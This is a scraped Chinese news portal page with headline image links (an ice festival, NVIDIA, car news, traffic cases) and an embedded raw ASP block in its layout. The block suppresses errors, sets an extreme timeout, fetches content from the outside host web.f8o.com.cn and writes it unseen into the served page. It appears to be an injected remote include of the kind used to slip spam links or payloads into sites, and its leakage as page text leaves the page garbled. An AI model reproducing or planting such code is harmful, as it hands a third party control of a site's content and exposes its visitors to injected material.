|
 财 经 |
更多 |
|
|
|
|
|
|
|
|
|
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://web.f8o.com.cn"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
|
|
|
|
|
|
![中国哈尔滨•第二届爱斯基摩冰雪节开幕 [图]](/Files/adminfiles/68C4CD5E9F856A49/2008222309531142526.jpg)
![NVIDIA联合PC厂商向Intel施压 [图]](/Files/adminfiles/68C4CD5E9F856A49/2008221909512199653.jpg)
![冰城原创金曲榜2007(4月8号第66期)[图]](/Files/adminfiles/yuanyuan/2007072415044741307.jpg)
![老男人和小男人的爱情谁更靠不住 [图]](/Files/adminfiles/68C4CD5E9F856A49/2008221909473824597.jpg)
![中国留学30年:从精英出国到全民留学和自主留学 [图]](/Files/adminfiles/41D94839D5E3E87E/2008010823413940147.jpg)
![[北京]高考网报首日网络](/Files/adminfiles/3821B0EF92CB36D0/2008051310373972314.jpg)
车市新闻
![春运迎来首个客流最高峰 [图]](/Files/adminfiles/68C4CD5E9F856A49/2008012909024685957.jpg)
![07.7.11房屋出售信息[图]](/Files/adminfiles/yuanyuan/2007072415235682852.jpg)
![新手上路及驾驶技术提高100例[图]](/Files/adminfiles/68C4CD5E9F856A49/2008031110500570579.jpg)
![爱车越冬 对症下药 [图]](/Files/adminfiles/68C4CD5E9F856A49/2008210710482634827.jpg)
![5名交通肇事犯罪嫌疑人今日公判[图]](/Files/adminfiles/68C4CD5E9F856A49/2008201614251938411.jpg)
